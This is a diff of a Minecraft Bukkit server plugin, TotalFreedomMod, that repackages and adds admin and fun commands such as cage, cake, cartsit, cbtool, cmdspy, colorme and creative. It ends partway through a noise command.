playerdata.setCommandsBlocked(!playerdata.allCommandsBlocked());
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), (playerdata.allCommandsBlocked() ? "B" : "Unb") + "locking all commands for " + player.getName(), true);
|
||||||
|
msg((playerdata.allCommandsBlocked() ? "B" : "Unb") + "locked all commands.");
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,110 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.GameMode;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Place a cage around someone.", usage = "/<command> <purge | off | <partialname> [outermaterial] [innermaterial]>")
|
||||||
|
public class Command_cage extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length == 0)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ("off".equals(args[0]) && sender instanceof Player)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Uncaging " + sender.getName(), true);
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(playerSender);
|
||||||
|
|
||||||
|
playerdata.getCageData().setCaged(false);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else if ("purge".equals(args[0]))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Uncaging all players", true);
|
||||||
|
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||||
|
playerdata.getCageData().setCaged(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||||
|
|
||||||
|
Material outerMaterial = Material.GLASS;
|
||||||
|
Material innerMaterial = Material.AIR;
|
||||||
|
|
||||||
|
if (args.length >= 2)
|
||||||
|
{
|
||||||
|
if ("off".equals(args[1]))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Uncaging " + player.getName(), true);
|
||||||
|
playerdata.getCageData().setCaged(false);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if ("darth".equalsIgnoreCase(args[1]))
|
||||||
|
{
|
||||||
|
outerMaterial = Material.SKULL;
|
||||||
|
}
|
||||||
|
else if (Material.matchMaterial(args[1]) != null)
|
||||||
|
{
|
||||||
|
outerMaterial = Material.matchMaterial(args[1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.length >= 3)
|
||||||
|
{
|
||||||
|
if (args[2].equalsIgnoreCase("water"))
|
||||||
|
{
|
||||||
|
innerMaterial = Material.STATIONARY_WATER;
|
||||||
|
}
|
||||||
|
else if (args[2].equalsIgnoreCase("lava"))
|
||||||
|
{
|
||||||
|
innerMaterial = Material.STATIONARY_LAVA;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Location targetPos = player.getLocation().clone().add(0, 1, 0);
|
||||||
|
playerdata.getCageData().cage(targetPos, outerMaterial, innerMaterial);
|
||||||
|
|
||||||
|
player.setGameMode(GameMode.SURVIVAL);
|
||||||
|
|
||||||
|
if (outerMaterial != Material.SKULL)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Caging " + player.getName(), true);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Caging " + player.getName() + " in PURE_DARTH", true);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,54 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import java.util.Random;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.Achievement;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.inventory.ItemStack;
|
||||||
|
import org.bukkit.inventory.meta.ItemMeta;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "For the people that are still alive.", usage = "/<command>")
|
||||||
|
public class Command_cake extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final String CAKE_LYRICS = "But there's no sense crying over every mistake. You just keep on trying till you run out of cake.";
|
||||||
|
private final Random random = new Random();
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
final StringBuilder output = new StringBuilder();
|
||||||
|
|
||||||
|
final String[] words = CAKE_LYRICS.split(" ");
|
||||||
|
for (final String word : words)
|
||||||
|
{
|
||||||
|
output.append(ChatColor.COLOR_CHAR).append(Integer.toHexString(1 + random.nextInt(14))).append(word).append(" ");
|
||||||
|
}
|
||||||
|
|
||||||
|
final ItemStack heldItem = new ItemStack(Material.CAKE);
|
||||||
|
final ItemMeta heldItemMeta = heldItem.getItemMeta();
|
||||||
|
heldItemMeta.setDisplayName((new StringBuilder()).append(ChatColor.WHITE).append("The ").append(ChatColor.DARK_GRAY).append("Lie").toString());
|
||||||
|
heldItem.setItemMeta(heldItemMeta);
|
||||||
|
|
||||||
|
for (final Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
final int firstEmpty = player.getInventory().firstEmpty();
|
||||||
|
if (firstEmpty >= 0)
|
||||||
|
{
|
||||||
|
player.getInventory().setItem(firstEmpty, heldItem);
|
||||||
|
}
|
||||||
|
|
||||||
|
player.awardAchievement(Achievement.BAKE_CAKE);
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.bcastMsg(output.toString());
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -1,55 +1,55 @@
|
|||||||
package me.StevenLawson.TotalFreedomMod.Commands;
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
import me.StevenLawson.TotalFreedomMod.TFM_SuperadminList;
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
import org.bukkit.command.Command;
|
import org.bukkit.command.Command;
|
||||||
import org.bukkit.command.CommandSender;
|
import org.bukkit.command.CommandSender;
|
||||||
import org.bukkit.entity.Minecart;
|
import org.bukkit.entity.Minecart;
|
||||||
import org.bukkit.entity.Player;
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
@CommandPermissions(level = AdminLevel.ALL, source = SourceType.BOTH)
|
@CommandPermissions(level = Rank.NON_OP, source = SourceType.BOTH)
|
||||||
@CommandParameters(description = "Sit in nearest minecart. If target is in a minecart already, they will disembark.", usage = "/<command> [partialname]")
|
@CommandParameters(description = "Sit in nearest minecart. If target is in a minecart already, they will disembark.", usage = "/<command> [partialname]")
|
||||||
public class Command_cartsit extends TFM_Command
|
public class Command_cartsit extends FreedomCommand
|
||||||
{
|
{
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
{
|
{
|
||||||
Player target_player = sender_p;
|
Player targetPlayer = playerSender;
|
||||||
|
|
||||||
if (args.length == 1)
|
if (args.length == 1)
|
||||||
{
|
{
|
||||||
try
|
|
||||||
|
targetPlayer = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (targetPlayer == null)
|
||||||
{
|
{
|
||||||
target_player = getPlayer(args[0]);
|
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
}
|
|
||||||
catch (CantFindPlayerException ex)
|
|
||||||
{
|
|
||||||
sender.sendMessage(ex.getMessage());
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (senderIsConsole)
|
if (senderIsConsole)
|
||||||
{
|
{
|
||||||
if (target_player == null)
|
if (targetPlayer == null)
|
||||||
{
|
{
|
||||||
sender.sendMessage("When used from the console, you must define a target player: /cartsit <player>");
|
sender.sendMessage("When used from the console, you must define a target player: /cartsit <player>");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (target_player != sender_p && !TFM_SuperadminList.isUserSuperadmin(sender))
|
else if (targetPlayer != playerSender && !isAdmin(sender))
|
||||||
{
|
{
|
||||||
sender.sendMessage("Only superadmins can select another player as a /cartsit target.");
|
sender.sendMessage("Only superadmins can select another player as a /cartsit target.");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (target_player.isInsideVehicle())
|
if (targetPlayer.isInsideVehicle())
|
||||||
{
|
{
|
||||||
target_player.getVehicle().eject();
|
targetPlayer.getVehicle().eject();
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
Minecart nearest_cart = null;
|
Minecart nearest_cart = null;
|
||||||
for (Minecart cart : target_player.getWorld().getEntitiesByClass(Minecart.class))
|
for (Minecart cart : targetPlayer.getWorld().getEntitiesByClass(Minecart.class))
|
||||||
{
|
{
|
||||||
if (cart.isEmpty())
|
if (cart.isEmpty())
|
||||||
{
|
{
|
||||||
@ -59,7 +59,7 @@ public class Command_cartsit extends TFM_Command
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
if (cart.getLocation().distanceSquared(target_player.getLocation()) < nearest_cart.getLocation().distanceSquared(target_player.getLocation()))
|
if (cart.getLocation().distanceSquared(targetPlayer.getLocation()) < nearest_cart.getLocation().distanceSquared(targetPlayer.getLocation()))
|
||||||
{
|
{
|
||||||
nearest_cart = cart;
|
nearest_cart = cart;
|
||||||
}
|
}
|
||||||
@ -69,7 +69,7 @@ public class Command_cartsit extends TFM_Command
|
|||||||
|
|
||||||
if (nearest_cart != null)
|
if (nearest_cart != null)
|
||||||
{
|
{
|
||||||
nearest_cart.setPassenger(target_player);
|
nearest_cart.setPassenger(targetPlayer);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
@ -0,0 +1,218 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.DepreciationAggregator;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import org.apache.commons.lang3.ArrayUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.World;
|
||||||
|
import org.bukkit.block.Block;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.NON_OP, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "No Description Yet", usage = "/<command>")
|
||||||
|
public class Command_cbtool extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length < 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ("targetblock".equalsIgnoreCase(args[0]) && sender instanceof Player)
|
||||||
|
{
|
||||||
|
Block targetBlock = DepreciationAggregator.getTargetBlock(playerSender, null, 100);
|
||||||
|
msg("Your target block: " + targetBlock.getLocation().toString());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final StringBuffer generatedCommand = new StringBuffer();
|
||||||
|
|
||||||
|
final Matcher matcher = Pattern.compile("\\[(.+?)\\]").matcher(StringUtils.join(args, " ").trim());
|
||||||
|
while (matcher.find())
|
||||||
|
{
|
||||||
|
matcher.appendReplacement(generatedCommand, processSubCommand(matcher.group(1)));
|
||||||
|
}
|
||||||
|
matcher.appendTail(generatedCommand);
|
||||||
|
|
||||||
|
if (plugin.cb.isCommandBlocked(generatedCommand.toString(), sender, false))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
server.dispatchCommand(sender, generatedCommand.toString());
|
||||||
|
}
|
||||||
|
catch (SubCommandFailureException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String processSubCommand(final String subcommand) throws SubCommandFailureException
|
||||||
|
{
|
||||||
|
final String[] args = StringUtils.split(subcommand, " ");
|
||||||
|
|
||||||
|
if (args.length == 1)
|
||||||
|
{
|
||||||
|
throw new SubCommandFailureException("Invalid subcommand name.");
|
||||||
|
}
|
||||||
|
|
||||||
|
return SubCommand.getByName(args[0]).getExecutable().execute(ArrayUtils.remove(args, 0));
|
||||||
|
}
|
||||||
|
|
||||||
|
private static enum SubCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
PLAYER_DETECT("playerdetect", new SubCommandExecutable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public String execute(String[] args) throws SubCommandFailureException
|
||||||
|
{
|
||||||
|
if (args.length != 5)
|
||||||
|
{
|
||||||
|
throw new SubCommandFailureException("Invalid # of arguments.");
|
||||||
|
}
|
||||||
|
|
||||||
|
double x, y, z;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
x = Double.parseDouble(args[0].trim());
|
||||||
|
y = Double.parseDouble(args[1].trim());
|
||||||
|
z = Double.parseDouble(args[2].trim());
|
||||||
|
}
|
||||||
|
catch (NumberFormatException ex)
|
||||||
|
{
|
||||||
|
throw new SubCommandFailureException("Invalid coordinates.");
|
||||||
|
}
|
||||||
|
|
||||||
|
World world = null;
|
||||||
|
final String needleWorldName = args[3].trim();
|
||||||
|
final List<World> worlds = Bukkit.getWorlds();
|
||||||
|
for (final World testWorld : worlds)
|
||||||
|
{
|
||||||
|
if (testWorld.getName().trim().equalsIgnoreCase(needleWorldName))
|
||||||
|
{
|
||||||
|
world = testWorld;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (world == null)
|
||||||
|
{
|
||||||
|
throw new SubCommandFailureException("Invalid world name.");
|
||||||
|
}
|
||||||
|
|
||||||
|
final Location testLocation = new Location(world, x, y, z);
|
||||||
|
|
||||||
|
double radius;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
radius = Double.parseDouble(args[4].trim());
|
||||||
|
}
|
||||||
|
catch (NumberFormatException ex)
|
||||||
|
{
|
||||||
|
throw new SubCommandFailureException("Invalid radius.");
|
||||||
|
}
|
||||||
|
|
||||||
|
final double radiusSq = radius * radius;
|
||||||
|
|
||||||
|
final List<Player> worldPlayers = testLocation.getWorld().getPlayers();
|
||||||
|
for (final Player testPlayer : worldPlayers)
|
||||||
|
{
|
||||||
|
if (testPlayer.getLocation().distanceSquared(testLocation) < radiusSq)
|
||||||
|
{
|
||||||
|
return testPlayer.getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new SubCommandFailureException("No player found in range.");
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
PLAYER_DETECT_BOOLEAN("playerdetectboolean", new SubCommandExecutable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public String execute(String[] args) throws SubCommandFailureException
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
PLAYER_DETECT.getExecutable().execute(args);
|
||||||
|
}
|
||||||
|
catch (SubCommandFailureException ex)
|
||||||
|
{
|
||||||
|
return "0";
|
||||||
|
}
|
||||||
|
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
});
|
||||||
|
//
|
||||||
|
private final String name;
|
||||||
|
private final SubCommandExecutable executable;
|
||||||
|
|
||||||
|
private SubCommand(String subCommandName, SubCommandExecutable subCommandImpl)
|
||||||
|
{
|
||||||
|
this.name = subCommandName;
|
||||||
|
this.executable = subCommandImpl;
|
||||||
|
}
|
||||||
|
|
||||||
|
public SubCommandExecutable getExecutable()
|
||||||
|
{
|
||||||
|
return executable;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getName()
|
||||||
|
{
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static SubCommand getByName(String needle) throws SubCommandFailureException
|
||||||
|
{
|
||||||
|
needle = needle.trim();
|
||||||
|
for (SubCommand subCommand : values())
|
||||||
|
{
|
||||||
|
if (subCommand.getName().equalsIgnoreCase(needle))
|
||||||
|
{
|
||||||
|
return subCommand;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new SubCommandFailureException("Invalid subcommand name.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private interface SubCommandExecutable
|
||||||
|
{
|
||||||
|
|
||||||
|
public String execute(String[] args) throws SubCommandFailureException;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class SubCommandFailureException extends Exception
|
||||||
|
{
|
||||||
|
|
||||||
|
public SubCommandFailureException()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public SubCommandFailureException(String message)
|
||||||
|
{
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,24 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "Spy on commands", usage = "/<command>", aliases = "commandspy")
|
||||||
|
public class Command_cmdspy extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(playerSender);
|
||||||
|
playerdata.setCommandSpy(!playerdata.cmdspyEnabled());
|
||||||
|
msg("CommandSpy " + (playerdata.cmdspyEnabled() ? "enabled." : "disabled."));
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,59 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.Map;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "Essentials Interface Command - Color your current nickname.", usage = "/<command> <color>")
|
||||||
|
public class Command_colorme extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length != 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ("list".equalsIgnoreCase(args[0]))
|
||||||
|
{
|
||||||
|
msg("Colors: " + StringUtils.join(FUtil.CHAT_COLOR_NAMES.keySet(), ", "));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final String needle = args[0].trim().toLowerCase();
|
||||||
|
ChatColor color = null;
|
||||||
|
final Iterator<Map.Entry<String, ChatColor>> it = FUtil.CHAT_COLOR_NAMES.entrySet().iterator();
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
final Map.Entry<String, ChatColor> entry = it.next();
|
||||||
|
if (entry.getKey().contains(needle))
|
||||||
|
{
|
||||||
|
color = entry.getValue();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (color == null)
|
||||||
|
{
|
||||||
|
msg("Invalid color: " + needle + " - Use \"/colorme list\" to list colors.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final String newNick = color + ChatColor.stripColor(playerSender.getDisplayName()).trim() + ChatColor.WHITE;
|
||||||
|
|
||||||
|
plugin.esb.setNickname(sender.getName(), newNick);
|
||||||
|
|
||||||
|
msg("Your nickname is now: " + newNick);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -1,31 +1,33 @@
|
|||||||
package me.StevenLawson.TotalFreedomMod.Commands;
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Map.Entry;
|
import java.util.Map.Entry;
|
||||||
import org.apache.commons.lang.StringUtils;
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.bukkit.command.Command;
|
import org.bukkit.command.Command;
|
||||||
import org.bukkit.command.CommandSender;
|
import org.bukkit.command.CommandSender;
|
||||||
import org.bukkit.entity.Player;
|
import org.bukkit.entity.Player;
|
||||||
import org.bukkit.plugin.Plugin;
|
import org.bukkit.plugin.Plugin;
|
||||||
import org.bukkit.plugin.PluginDescriptionFile;
|
import org.bukkit.plugin.PluginDescriptionFile;
|
||||||
|
|
||||||
@CommandPermissions(level = AdminLevel.ALL, source = SourceType.BOTH)
|
@CommandPermissions(level = Rank.NON_OP, source = SourceType.BOTH)
|
||||||
@CommandParameters(description = "Show all commands for all server plugins.", usage = "/<command>")
|
@CommandParameters(description = "Show all commands for all server plugins.", usage = "/<command>", aliases = "cmdlist")
|
||||||
public class Command_cmdlist extends TFM_Command
|
public class Command_commandlist extends FreedomCommand
|
||||||
{
|
{
|
||||||
@Override
|
|
||||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
|
||||||
{
|
|
||||||
List<String> commands = new ArrayList<String>();
|
|
||||||
|
|
||||||
for (Plugin p : server.getPluginManager().getPlugins())
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
List<String> commands = new ArrayList<>();
|
||||||
|
|
||||||
|
for (Plugin targetPlugin : server.getPluginManager().getPlugins())
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
PluginDescriptionFile desc = p.getDescription();
|
PluginDescriptionFile desc = targetPlugin.getDescription();
|
||||||
Map<String, Map<String, Object>> map = (Map<String, Map<String, Object>>) desc.getCommands();
|
Map<String, Map<String, Object>> map = (Map<String, Map<String, Object>>) desc.getCommands();
|
||||||
|
|
||||||
if (map != null)
|
if (map != null)
|
||||||
@ -48,4 +50,4 @@ public class Command_cmdlist extends TFM_Command
|
|||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -0,0 +1,24 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.ONLY_CONSOLE)
|
||||||
|
@CommandParameters(description = "Telnet command - Send a chat message with chat formatting over telnet.", usage = "/<command> <message...>", aliases = "csay")
|
||||||
|
public class Command_consolesay extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length > 0)
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg(String.format("§7[CONSOLE]§f<§c%s§f> %s", sender.getName(), StringUtils.join(args, " ")));
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,58 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.GameMode;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Quickly change your own gamemode to creative, or define someone's username to change theirs.", usage = "/<command> <-a | [partialname]>", aliases = "gmc")
|
||||||
|
public class Command_creative extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length == 0)
|
||||||
|
{
|
||||||
|
if (isConsole())
|
||||||
|
{
|
||||||
|
sender.sendMessage("When used from the console, you must define a target player.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
playerSender.setGameMode(GameMode.CREATIVE);
|
||||||
|
msg("Gamemode set to creative.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
checkRank(Rank.SUPER_ADMIN);
|
||||||
|
|
||||||
|
if (args[0].equals("-a"))
|
||||||
|
{
|
||||||
|
for (Player targetPlayer : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
targetPlayer.setGameMode(GameMode.CREATIVE);
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), "Changing everyone's gamemode to creative", false);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Setting " + player.getName() + " to game mode creative");
|
||||||
|
msg(player, sender.getName() + " set your game mode to creative");
|
||||||
|
player.setGameMode(GameMode.CREATIVE);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -1,6 +1,7 @@
|
|||||||
package me.StevenLawson.TotalFreedomMod.Commands;
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
import org.bukkit.Location;
|
import org.bukkit.Location;
|
||||||
import org.bukkit.Sound;
|
import org.bukkit.Sound;
|
||||||
import org.bukkit.command.Command;
|
import org.bukkit.command.Command;
|
||||||
@ -8,17 +9,18 @@ import org.bukkit.command.CommandSender;
|
|||||||
import org.bukkit.entity.Player;
|
import org.bukkit.entity.Player;
|
||||||
import org.bukkit.scheduler.BukkitRunnable;
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
|
||||||
@CommandPermissions(level = AdminLevel.SENIOR, source = SourceType.BOTH, block_host_console = true)
|
@CommandPermissions(level = Rank.SENIOR_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||||
@CommandParameters(description = "Make some noise.", usage = "/<command>")
|
